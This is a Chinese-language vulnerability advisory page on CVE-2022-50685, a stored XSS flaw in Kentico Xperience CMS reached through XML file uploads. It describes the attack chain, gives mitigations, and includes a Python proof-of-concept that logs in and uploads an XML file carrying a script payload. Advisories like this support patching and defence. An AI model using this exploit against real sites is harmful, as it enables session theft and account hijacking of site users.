IPBUF安全漏洞报告
English
CVE-2022-50685 CVSS 5.4 中危

CVE-2022-50685: Kentico Xperience 存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2022-50685
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kentico Xperience

相关标签

存储型XSSKentico Xperience文件上传漏洞CVE-2022-50685XML注入跨站脚本CMS漏洞Web应用安全身份验证绕过

漏洞概述

CVE-2022-50685是Kentico Xperience CMS平台中的一个存储型跨站脚本(XSS)漏洞。该漏洞允许经过身份验证的低权限用户通过文件上传功能注入恶意脚本。攻击者可以利用页面附件或元文件上传功能,上传包含恶意JavaScript代码的XML文件。当其他用户访问或查看这些被注入的XML文件时,存储在其中的恶意脚本会在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于攻击代码持久化存储在服务器上,每次页面加载时都会触发,形成了持久的攻击向量。此漏洞的CVSS评分为5.4,属于中等严重程度,但结合社工攻击可能造成严重危害。

技术细节

该漏洞源于Kentico Xperience对上传XML文件的内容验证不足。具体问题在于:1) 系统允许用户上传XML文件作为页面附件或元文件;2) 上传过程中未对XML内容进行充分的HTML/脚本转义或内容过滤;3) 恶意XML文件被存储在服务器上后,当其他用户访问包含该文件的页面时,浏览器会解析并执行其中的恶意脚本。攻击者只需拥有低权限账户(如普通用户或内容编辑者),通过正常的文件上传接口上传特制的XML文件即可实现攻击。XML文件中的恶意脚本会在受害者访问相关页面时自动执行,无需受害者点击任何链接。攻击者可利用此漏洞窃取用户会话信息、凭据或执行任意客户端操作。修复方案需要在文件上传和展示环节增加严格的输入验证和输出编码。

攻击链分析

STEP 1
步骤1
攻击者获取Kentico Xperience的低权限账户(如内容编辑者或普通用户)
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的XML文件,利用CDATA节或script标签注入XSS payload
STEP 3
步骤3
通过Kentico Xperience的文件上传功能(页面附件或元文件上传),将恶意XML文件上传到服务器
STEP 4
步骤4
服务器未对XML内容进行充分过滤,将恶意文件存储在数据库或文件系统中
STEP 5
步骤5
其他用户访问包含该恶意XML文件的页面时,浏览器解析XML并执行其中的恶意脚本
STEP 6
步骤6
恶意脚本在受害者浏览器中执行,可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # CVE-2022-50685 PoC - Kentico Xperience Stored XSS via XML Upload # Target: Kentico Xperience CMS # Vulnerability: Stored XSS via XML file upload TARGET_URL = "https://target-site.com" LOGIN_URL = f"{TARGET_URL}/CMSPages/logon.aspx" UPLOAD_URL = f"{TARGET_URL}/CMSModules/Content/CMSDocuments/UploadFile.aspx" # Malicious XML payload with XSS MALICIOUS_XML = '''<?xml version="1.0" encoding="UTF-8"?> <root> <data><![CDATA[<script>alert(document.cookie)</script>]]></data> </root>''' def exploit(): """Execute the stored XSS attack""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'username': 'attacker_user', 'password': 'password123', 'LoginButton': 'Log in' } session.post(LOGIN_URL, data=login_data) # Step 2: Upload malicious XML file files = { 'file': ('malicious.xml', MALICIOUS_XML, 'text/xml') } upload_data = { 'nodeId': '123', 'parentNodeId': '456', 'siteId': '1', 'action': 'upload' } response = session.post(UPLOAD_URL, files=files, data=upload_data) # Step 3: Verify XSS payload is stored and executed if response.status_code == 200: print("[+] Malicious XML uploaded successfully") print("[+] XSS payload stored on server") print("[+] Attack will execute when users view the page") else: print("[-] Upload failed") if __name__ == "__main__": exploit()

影响范围

Kentico Xperience < 13.0.200
Kentico Xperience < 12.0.178
Kentico CMS (相关版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制文件上传功能的访问权限,仅允许受信任的管理员使用;2) 禁止上传.xml格式文件,或将XML文件存储在独立域名下;3) 在Web应用防火墙(WAF)上配置规则,检测并拦截包含script标签的请求;4) 启用HttpOnly和Secure标志保护Cookie;5) 监控文件上传日志,及时发现异常上传行为;6) 考虑临时禁用页面附件和元文件上传功能,直至漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表